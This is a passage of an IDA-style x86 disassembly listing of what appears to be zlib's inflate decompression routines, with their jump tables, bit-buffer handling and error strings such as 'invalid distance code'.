loc_41FE2E:				; CODE XREF: sub_41F8F5+513j
		mov	dword ptr [ebx], 8


loc_41FE34:				; CODE XREF: sub_41F8F5+4Bj
					; DATA XREF: _3:off_41FE8Bo
		mov	eax, [ebp+arg_4] ; jumptable 0041F940 case 8
		push	1
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		jmp	short loc_41FE7C
; ---------------------------------------------------------------------------


loc_41FE59:				; CODE XREF: sub_41F8F5+45j
		mov	eax, [ebp+arg_4] ; default
		push	0FFFFFFFEh
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx


loc_41FE7C:				; CODE XREF: sub_41F8F5+4B0j
					; sub_41F8F5+4E8j ...
		push	esi
		push	edi
		call	sub_420BB9
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F8F5	endp

; ---------------------------------------------------------------------------
off_41FE8B	dd offset loc_41F947	; DATA XREF: sub_41F8F5+4Br
		dd offset loc_41F9F6	; jump table for switch	statement
		dd offset loc_41FA9E
		dd offset loc_41FAF9
		dd offset loc_41FB86
		dd offset loc_41FBD4
		dd offset loc_41FCC6
		dd offset loc_41FDE2
		dd offset loc_41FE34
		dd offset loc_41FD82

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEB3	proc near		; CODE XREF: sub_41EE2E+3Ap
					; sub_41EF26+5F7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+28h]
		call	dword ptr [eax+24h]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41FEB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41F8F5+9Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, [ebp+arg_14]
		mov	ecx, [esi+34h]
		mov	edx, [esi+1Ch]
		mov	eax, [edi]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], eax
		mov	eax, [edi+4]
		mov	[ebp+var_4], eax
		mov	eax, [esi+20h]
		mov	[ebp+arg_14], eax
		mov	eax, [esi+30h]
		cmp	ecx, eax
		jnb	short loc_41FEFB
		sub	eax, ecx
		dec	eax
		jmp	short loc_41FF00
; ---------------------------------------------------------------------------


loc_41FEFB:				; CODE XREF: sub_41FEC6+2Ej
		mov	eax, [esi+2Ch]
		sub	eax, ecx


loc_41FF00:				; CODE XREF: sub_41FEC6+33j
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		mov	eax, ds:dword_423318[eax*4]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_4]
		mov	eax, ds:dword_423318[eax*4]
		mov	[ebp+arg_4], eax


loc_41FF1D:				; CODE XREF: sub_41FEC6+72j
					; sub_41FEC6+231j
		cmp	edx, 14h
		jnb	short loc_41FF3A
		mov	eax, [ebp+var_8]
		dec	[ebp+var_4]
		mov	ecx, edx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_14], eax
		inc	[ebp+var_8]
		add	edx, 8
		jmp	short loc_41FF1D
; ---------------------------------------------------------------------------


loc_41FF3A:				; CODE XREF: sub_41FEC6+5Aj
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_8]
		and	eax, [ebp+arg_14]
		lea	eax, [ecx+eax*8]
		movzx	ecx, byte ptr [eax]
		mov	[ebp+arg_0], ecx
		test	ecx, ecx


loc_41FF4E:				; CODE XREF: sub_41FEC6+C4j
		movzx	ecx, byte ptr [eax+1]
		jz	loc_4200D1
		shr	[ebp+arg_14], cl
		movzx	ecx, byte ptr [eax+1]
		sub	edx, ecx
		mov	ecx, [ebp+arg_0]
		test	cl, 10h
		jnz	short loc_41FF8C
		test	cl, 40h
		jnz	loc_420131
		mov	ecx, ds:dword_423318[ecx*4]
		and	ecx, [ebp+arg_14]
		add	ecx, [eax+4]
		lea	eax, [eax+ecx*8]
		movzx	ecx, byte ptr [eax]
		mov	[ebp+arg_0], ecx
		test	ecx, ecx
		jmp	short loc_41FF4E
; ---------------------------------------------------------------------------


loc_41FF8C:				; CODE XREF: sub_41FEC6+A1j
		and	ecx, 0Fh
		mov	esi, ds:dword_423318[ecx*4]
		and	esi, [ebp+arg_14]
		shr	[ebp+arg_14], cl
		add	esi, [eax+4]
		sub	edx, ecx
		mov	[ebp+arg_0], esi


loc_41FFA4:				; CODE XREF: sub_41FEC6+F9j
		cmp	edx, 0Fh
		jnb	short loc_41FFC1
		mov	eax, [ebp+var_8]
		dec	[ebp+var_4]
		mov	ecx, edx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_14], eax
		inc	[ebp+var_8]
		add	edx, 8
		jmp	short loc_41FFA4
; ---------------------------------------------------------------------------


loc_41FFC1:				; CODE XREF: sub_41FEC6+E1j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_C]
		and	eax, [ebp+arg_14]
		movzx	ebx, byte ptr [ecx+eax*8]
		lea	eax, [ecx+eax*8]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+arg_14], cl
		movzx	ecx, byte ptr [eax+1]
		sub	edx, ecx


loc_41FFDE:				; CODE XREF: sub_41FEC6+146j
		test	bl, 10h
		jnz	short loc_42000E
		test	bl, 40h
		jnz	loc_4200FC
		mov	ecx, ds:dword_423318[ebx*4]
		and	ecx, [ebp+arg_14]
		add	ecx, [eax+4]
		movzx	ebx, byte ptr [eax+ecx*8]
		lea	eax, [eax+ecx*8]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+arg_14], cl
		mov	[ebp+var_18], ecx
		sub	edx, ecx
		jmp	short loc_41FFDE
; ---------------------------------------------------------------------------


loc_42000E:				; CODE XREF: sub_41FEC6+11Bj
		and	ebx, 0Fh


loc_420011:				; CODE XREF: sub_41FEC6+165j
		cmp	edx, ebx
		jnb	short loc_42002D
		mov	ecx, [ebp+var_8]
		dec	[ebp+var_4]
		movzx	esi, byte ptr [ecx]
		mov	ecx, edx
		shl	esi, cl
		or	[ebp+arg_14], esi
		inc	[ebp+var_8]
		add	edx, 8
		jmp	short loc_420011
; ---------------------------------------------------------------------------


loc_42002D:				; CODE XREF: sub_41FEC6+14Dj
		mov	esi, ds:dword_423318[ebx*4]
		mov	ecx, ebx
		and	esi, [ebp+arg_14]
		sub	edx, ebx
		shr	[ebp+arg_14], cl
		add	esi, [eax+4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		sub	[ebp+var_10], eax
		mov	ebx, [ebp+arg_10]
		mov	eax, ecx
		sub	eax, esi
		mov	esi, [ebx+28h]
		cmp	eax, esi
		jnb	short loc_4200AD
		mov	ebx, [ebx+2Ch]
		mov	[ebp+var_18], ebx
		sub	ebx, esi


loc_420060:				; CODE XREF: sub_41FEC6+19Ej
		add	eax, ebx
		cmp	eax, esi
		jb	short loc_420060
		mov	esi, [ebp+var_18]
		sub	esi, eax
		cmp	[ebp+arg_0], esi
		jbe	short loc_42008F
		sub	[ebp+arg_0], esi


loc_420073:				; CODE XREF: sub_41FEC6+1B4j
		mov	bl, [eax]
		mov	[ecx], bl
		inc	ecx
		inc	eax
		dec	esi
		jnz	short loc_420073
		mov	eax, [ebp+arg_10]
		mov	esi, [eax+28h]


loc_420082:				; CODE XREF: sub_41FEC6+1C5j
		mov	al, [esi]
		mov	[ecx], al
		inc	ecx
		inc	esi
		dec	[ebp+arg_0]
		jnz	short loc_420082
		jmp	short loc_4200C9
; ---------------------------------------------------------------------------


loc_42008F:				; CODE XREF: sub_41FEC6+1A8j
		mov	bl, [eax]
		mov	[ecx], bl
		mov	bl, [eax+1]
		inc	ecx
		inc	eax
		mov	[ecx], bl
		inc	ecx
		inc	eax
		sub	[ebp+arg_0], 2


loc_4200A0:				; CODE XREF: sub_41FEC6+1E3j
		mov	bl, [eax]
		mov	[ecx], bl
		inc	ecx
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4200A0
		jmp	short loc_4200C9
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_41FEC6+190j
		mov	bl, [eax]
		mov	[ecx], bl
		mov	bl, [eax+1]
		inc	ecx
		inc	eax
		mov	[ecx], bl
		inc	ecx
		inc	eax
		sub	[ebp+arg_0], 2


loc_4200BE:				; CODE XREF: sub_41FEC6+201j
		mov	bl, [eax]
		mov	[ecx], bl
		inc	ecx
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4200BE


loc_4200C9:				; CODE XREF: sub_41FEC6+1C7j
					; sub_41FEC6+1E5j
		mov	esi, [ebp+arg_10]
		mov	[ebp+var_C], ecx
		jmp	short loc_4200E8
; ---------------------------------------------------------------------------


loc_4200D1:				; CODE XREF: sub_41FEC6+8Cj
		shr	[ebp+arg_14], cl
		movzx	ecx, byte ptr [eax+1]
		mov	al, [eax+4]
		sub	edx, ecx
		mov	ecx, [ebp+var_C]
		inc	[ebp+var_C]
		dec	[ebp+var_10]
		mov	[ecx], al


loc_4200E8:				; CODE XREF: sub_41FEC6+209j
		cmp	[ebp+var_10], 102h
		jb	short loc_42011C
		cmp	[ebp+var_4], 0Ah
		jb	short loc_42011C
		jmp	loc_41FF1D
; ---------------------------------------------------------------------------


loc_4200FC:				; CODE XREF: sub_41FEC6+120j
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		mov	dword ptr [edi+18h], offset aInvalidDistanc ; "invalid distance	code"
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_420114
		mov	ecx, eax


loc_420114:				; CODE XREF: sub_41FEC6+24Aj
		mov	esi, [ebp+arg_10]
		push	0FFFFFFFDh
		pop	eax
		jmp	short loc_420166
; ---------------------------------------------------------------------------


loc_42011C:				; CODE XREF: sub_41FEC6+229j
					; sub_41FEC6+22Fj
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_42012D
		mov	ecx, eax


loc_42012D:				; CODE XREF: sub_41FEC6+263j
		xor	eax, eax
		jmp	short loc_420166
; ---------------------------------------------------------------------------


loc_420131:				; CODE XREF: sub_41FEC6+A6j
		test	cl, 20h
		jz	short loc_42014B
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_420147
		mov	ecx, eax


loc_420147:				; CODE XREF: sub_41FEC6+27Dj
		push	1
		jmp	short loc_420165
; ---------------------------------------------------------------------------


loc_42014B:				; CODE XREF: sub_41FEC6+26Ej
		mov	ecx, [edi+4]
		mov	eax, edx
		sub	ecx, [ebp+var_4]
		mov	dword ptr [edi+18h], offset aInvalidLiteral ; "invalid literal/length code"
		shr	eax, 3
		cmp	eax, ecx
		jnb	short loc_420163
		mov	ecx, eax


loc_420163:				; CODE XREF: sub_41FEC6+299j
		push	0FFFFFFFDh


loc_420165:				; CODE XREF: sub_41FEC6+283j
		pop	eax


loc_420166:				; CODE XREF: sub_41FEC6+254j
					; sub_41FEC6+269j
		mov	ebx, [ebp+arg_14]
		sub	[ebp+var_8], ecx
		mov	[esi+20h], ebx
		mov	ebx, ecx
		shl	ebx, 3
		sub	edx, ebx
		mov	[esi+1Ch], edx
		mov	edx, [ebp+var_4]
		add	ecx, edx
		mov	[edi+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, ecx
		sub	edx, [edi]
		mov	[edi], ecx
		mov	ecx, [ebp+var_C]
		add	[edi+8], edx
		mov	[esi+34h], ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420198	proc near		; CODE XREF: sub_42021C+D4p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_4201D6
		mov	ecx, [eax+1Ch]
		cmp	ecx, edx
		jz	short loc_4201D6
		push	esi
		mov	[eax+14h], edx
		mov	[eax+8], edx
		mov	[eax+18h], edx
		mov	esi, [ecx+0Ch]
		push	edx
		neg	esi
		sbb	esi, esi
		push	eax
		and	esi, 7
		mov	[ecx], esi
		mov	eax, [eax+1Ch]
		push	dword ptr [eax+14h]
		call	sub_41EE2E
		add	esp, 0Ch
		xor	eax, eax
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4201D6:				; CODE XREF: sub_420198+Aj
					; sub_420198+11j
		push	0FFFFFFFEh
		pop	eax
		pop	ebp
		retn
sub_420198	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201DB	proc near		; CODE XREF: sub_42021C+C9p
					; sub_420CCE+59p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_420216
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_420216
		cmp	dword ptr [esi+24h], 0
		jz	short loc_420216
		mov	eax, [eax+14h]
		test	eax, eax
		jz	short loc_420203
		push	esi
		push	eax
		call	sub_41F88B
		pop	ecx
		pop	ecx


loc_420203:				; CODE XREF: sub_4201DB+1Dj
		push	dword ptr [esi+1Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		and	dword ptr [esi+1Ch], 0
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_420219
; ---------------------------------------------------------------------------


loc_420216:				; CODE XREF: sub_4201DB+9j
					; sub_4201DB+10j ...
		push	0FFFFFFFEh
		pop	eax


loc_420219:				; CODE XREF: sub_4201DB+39j
		pop	esi
		pop	ebp
		retn
sub_4201DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42021C	proc near		; CODE XREF: sub_420306+Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	loc_4202FE
		mov	al, [eax]
		cmp	al, ds:byte_4220A8
		jnz	loc_4202FE
		cmp	[ebp+arg_C], 38h
		jnz	loc_4202FE
		mov	esi, [ebp+arg_0]
		cmp	esi, edi
		jnz	short loc_420255
		push	0FFFFFFFEh
		jmp	loc_420300
; ---------------------------------------------------------------------------


loc_420255:				; CODE XREF: sub_42021C+30j
		cmp	[esi+20h], edi
		mov	[esi+18h], edi
		jnz	short loc_420267
		mov	dword ptr [esi+20h], offset sub_420D4D
		mov	[esi+28h], edi


loc_420267:				; CODE XREF: sub_42021C+3Fj
		cmp	[esi+24h], edi
		jnz	short loc_420273
		mov	dword ptr [esi+24h], offset sub_420D67


loc_420273:				; CODE XREF: sub_42021C+4Ej
		push	18h
		push	1
		pop	ebx
		push	ebx
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		cmp	eax, edi
		mov	[esi+1Ch], eax
		jnz	short loc_42028D
		push	0FFFFFFFCh
		jmp	short loc_420300
; ---------------------------------------------------------------------------


loc_42028D:				; CODE XREF: sub_42021C+6Bj
		mov	ecx, [ebp+arg_4]
		mov	[eax+14h], edi
		mov	eax, [esi+1Ch]
		cmp	ecx, edi
		mov	[eax+0Ch], edi
		jge	short loc_4202A5
		mov	eax, [esi+1Ch]
		neg	ecx
		mov	[eax+0Ch], ebx


loc_4202A5:				; CODE XREF: sub_42021C+7Fj
		cmp	ecx, 8
		jl	short loc_4202FA
		cmp	ecx, 0Fh
		jg	short loc_4202FA
		mov	eax, [esi+1Ch]
		shl	ebx, cl
		mov	[eax+10h], ecx
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		neg	eax
		sbb	eax, eax
		push	ebx
		not	eax
		and	eax, offset sub_410F9C
		push	eax
		push	esi
		call	sub_41EE9A
		mov	ecx, [esi+1Ch]
		add	esp, 0Ch
		mov	[ecx+14h], eax
		mov	eax, [esi+1Ch]
		cmp	[eax+14h], edi
		jnz	short loc_4202EF
		push	0FFFFFFFCh


loc_4202E3:				; CODE XREF: sub_42021C+E0j
		pop	edi
		push	esi
		call	sub_4201DB
		pop	ecx
		mov	eax, edi
		jmp	short loc_420301
; ---------------------------------------------------------------------------


loc_4202EF:				; CODE XREF: sub_42021C+C3j
		push	esi
		call	sub_420198
		pop	ecx
		xor	eax, eax
		jmp	short loc_420301
; ---------------------------------------------------------------------------


loc_4202FA:				; CODE XREF: sub_42021C+8Cj
					; sub_42021C+91j
		push	0FFFFFFFEh
		jmp	short loc_4202E3
; ---------------------------------------------------------------------------


loc_4202FE:				; CODE XREF: sub_42021C+Dj
					; sub_42021C+1Bj ...
		push	0FFFFFFFAh


loc_420300:				; CODE XREF: sub_42021C+34j
					; sub_42021C+6Fj
		pop	eax


loc_420301:				; CODE XREF: sub_42021C+D1j
					; sub_42021C+DCj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42021C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420306	proc near		; CODE XREF: sub_420CCE+35p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0Fh
		push	[ebp+arg_0]
		call	sub_42021C
		add	esp, 10h
		pop	ebp
		retn
sub_420306	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42031E	proc near		; CODE XREF: sub_420CCE+47p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	esi, eax
		push	edi
		jz	loc_420630	; default
		cmp	[esi+1Ch], eax
		jz	loc_420630	; default
		cmp	[esi], eax
		jz	loc_420630	; default
		cmp	[ebp+arg_4], 4
		push	0FFFFFFFBh
		pop	ebx
		mov	[ebp+arg_4], ebx
		jz	short loc_420351
		mov	[ebp+arg_4], eax


loc_420351:				; CODE XREF: sub_42031E+2Ej
					; sub_42031E+111j
		push	0Dh
		pop	edi


loc_420354:				; CODE XREF: sub_42031E+8Aj
					; sub_42031E+FAj ...
		mov	eax, [esi+1Ch]
		mov	ecx, [eax]
		cmp	ecx, edi	; switch 14 cases
		ja	loc_420630	; default
		jmp	ds:off_420649[ecx*4] ; switch jump


loc_420368:				; DATA XREF: _3:off_420649o
		mov	ecx, [esi+4]	; jumptable 00420361 case 0
		test	ecx, ecx
		jz	loc_42055A
		dec	ecx
		inc	dword ptr [esi+8]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		mov	ebx, [ebp+arg_4]
		movzx	ecx, byte ptr [ecx]
		mov	[eax+4], ecx
		mov	eax, [esi+1Ch]
		mov	ecx, [eax+4]
		and	ecx, 0Fh
		inc	dword ptr [esi]
		cmp	cl, 8
		jz	short loc_4203AA
		mov	[eax], edi
		mov	dword ptr [esi+18h], offset aUnknownCompres ; "unknown compression method"


loc_42039E:				; CODE XREF: sub_42031E+A3j
					; sub_42031E+237j
		mov	eax, [esi+1Ch]
		mov	dword ptr [eax+4], 5
		jmp	short loc_420354
; ---------------------------------------------------------------------------


loc_4203AA:				; CODE XREF: sub_42031E+75j
		mov	ecx, [eax+4]
		shr	ecx, 4
		add	ecx, 8
		cmp	ecx, [eax+10h]
		jbe	short loc_4203C3
		mov	[eax], edi
		mov	dword ptr [esi+18h], offset aInvalidWindowS ; "invalid window size"
		jmp	short loc_42039E
; ---------------------------------------------------------------------------


loc_4203C3:				; CODE XREF: sub_42031E+98j
		mov	dword ptr [eax], 1


loc_4203C9:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+4]	; jumptable 00420361 case 1
		test	eax, eax
		jz	loc_42055A
		mov	ecx, [ebp+arg_4]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		mov	eax, [esi]
		mov	[ebp+arg_0], ecx
		mov	ecx, [esi+1Ch]
		push	1Fh
		movzx	ebx, byte ptr [eax]
		inc	eax
		xor	edx, edx
		mov	[esi], eax
		mov	eax, [ecx+4]
		shl	eax, 8
		add	eax, ebx
		pop	edi
		div	edi
		test	edx, edx
		jz	short loc_42041D
		push	0Dh
		mov	ebx, [ebp+arg_0]
		pop	edi
		mov	[ecx], edi
		mov	eax, [esi+1Ch]
		mov	dword ptr [esi+18h], offset aIncorrectHeade ; "incorrect header	check"
		mov	dword ptr [eax+4], 5
		jmp	loc_420354
; ---------------------------------------------------------------------------


loc_42041D:				; CODE XREF: sub_42031E+DFj
		test	bl, 20h
		jnz	loc_420561
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [ecx], 7
		jmp	loc_420351
; ---------------------------------------------------------------------------


loc_420434:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		push	ebx		; jumptable 00420361 case 7
		push	esi
		push	dword ptr [eax+14h]
		call	sub_41EF26
		mov	ebx, eax
		add	esp, 0Ch
		cmp	ebx, 0FFFFFFFDh
		jnz	short loc_420459
		mov	eax, [esi+1Ch]
		mov	[eax], edi
		mov	eax, [esi+1Ch]
		and	dword ptr [eax+4], 0
		jmp	loc_420354
; ---------------------------------------------------------------------------


loc_420459:				; CODE XREF: sub_42031E+128j
		test	ebx, ebx
		jnz	short loc_420460
		mov	ebx, [ebp+arg_4]


loc_420460:				; CODE XREF: sub_42031E+13Dj
		cmp	ebx, 1
		jnz	loc_42055A
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		lea	ecx, [eax+4]
		push	ecx
		push	esi
		push	dword ptr [eax+14h]
		call	sub_41EE2E
		mov	eax, [esi+1Ch]
		add	esp, 0Ch
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_420493
		mov	dword ptr [eax], 0Ch
		jmp	loc_420354
; ---------------------------------------------------------------------------


loc_420493:				; CODE XREF: sub_42031E+168j
		mov	dword ptr [eax], 8


loc_420499:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+4]	; jumptable 00420361 case 8
		test	eax, eax
		jz	loc_42055A
		dec	eax
		inc	dword ptr [esi+8]
		mov	ecx, [esi+1Ch]
		mov	[esi+4], eax
		mov	eax, [esi]
		mov	ebx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		shl	eax, 18h
		mov	[ecx+8], eax
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 9


loc_4204C7:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+4]	; jumptable 00420361 case 9
		test	eax, eax
		jz	loc_42055A
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 10h
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 0Ah


loc_4204F5:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+4]	; jumptable 00420361 case 10
		test	eax, eax
		jz	short loc_42055A
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 8
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 0Bh


loc_42051F:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+4]	; jumptable 00420361 case 11
		test	eax, eax
		jz	short loc_42055A
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	ecx, [eax+4]
		cmp	ecx, [eax+8]
		jz	loc_420638
		mov	[eax], edi
		mov	dword ptr [esi+18h], offset aIncorrectDataC ; "incorrect data check"
		jmp	loc_42039E
; ---------------------------------------------------------------------------


loc_42055A:				; CODE XREF: sub_42031E+4Fj
					; sub_42031E+B0j ...
		mov	eax, ebx
		jmp	loc_420633
; ---------------------------------------------------------------------------


loc_420561:				; CODE XREF: sub_42031E+102j
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_0]
		mov	dword ptr [eax], 2


loc_42056D:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+4]	; jumptable 00420361 case 2
		test	eax, eax
		jz	short loc_42055A
		dec	eax
		inc	dword ptr [esi+8]
		mov	ecx, [esi+1Ch]
		mov	[esi+4], eax
		mov	eax, [esi]
		mov	ebx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		shl	eax, 18h
		mov	[ecx+8], eax
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 3


loc_420597:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+4]	; jumptable 00420361 case 3
		test	eax, eax
		jz	short loc_42055A
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 10h
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 4


loc_4205C1:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+4]	; jumptable 00420361 case 4
		test	eax, eax
		jz	short loc_42055A
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		mov	ebx, [ebp+arg_4]
		shl	ecx, 8
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	dword ptr [eax], 5


loc_4205EB:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+4]	; jumptable 00420361 case 5
		test	eax, eax
		jz	loc_42055A
		mov	ecx, [esi]
		dec	eax
		inc	dword ptr [esi+8]
		mov	[esi+4], eax
		movzx	ecx, byte ptr [ecx]
		mov	eax, [esi+1Ch]
		push	2
		add	[eax+8], ecx
		mov	eax, [esi+1Ch]
		inc	dword ptr [esi]
		mov	ecx, [eax+8]
		mov	[esi+30h], ecx
		mov	dword ptr [eax], 6
		jmp	short loc_420632
; ---------------------------------------------------------------------------


loc_42061D:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		mov	eax, [esi+1Ch]	; jumptable 00420361 case 6
		mov	[eax], edi
		mov	eax, [esi+1Ch]
		mov	dword ptr [esi+18h], offset aNeedDictionary ; "need dictionary"
		and	dword ptr [eax+4], 0


loc_420630:				; CODE XREF: sub_42031E+Dj
					; sub_42031E+16j ...
		push	0FFFFFFFEh	; default


loc_420632:				; CODE XREF: sub_42031E+2FDj
					; sub_42031E+325j ...
		pop	eax


loc_420633:				; CODE XREF: sub_42031E+23Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420638:				; CODE XREF: sub_42031E+228j
		mov	eax, [esi+1Ch]
		mov	dword ptr [eax], 0Ch


loc_420641:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		push	1		; jumptable 00420361 case 12
		jmp	short loc_420632
; ---------------------------------------------------------------------------


loc_420645:				; CODE XREF: sub_42031E+43j
					; DATA XREF: _3:off_420649o
		push	0FFFFFFFDh	; jumptable 00420361 case 13
		jmp	short loc_420632
sub_42031E	endp

; ---------------------------------------------------------------------------
off_420649	dd offset loc_420368	; DATA XREF: sub_42031E+43r
		dd offset loc_4203C9	; jump table for switch	statement
		dd offset loc_42056D
		dd offset loc_420597
		dd offset loc_4205C1
		dd offset loc_4205EB
		dd offset loc_42061D
		dd offset loc_420434
		dd offset loc_420499
		dd offset loc_4204C7
		dd offset loc_4204F5
		dd offset loc_42051F
		dd offset loc_420641
		dd offset loc_420645

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420681	proc near		; CODE XREF: sub_41EF26+3C5p

var_4		= dword	ptr -4
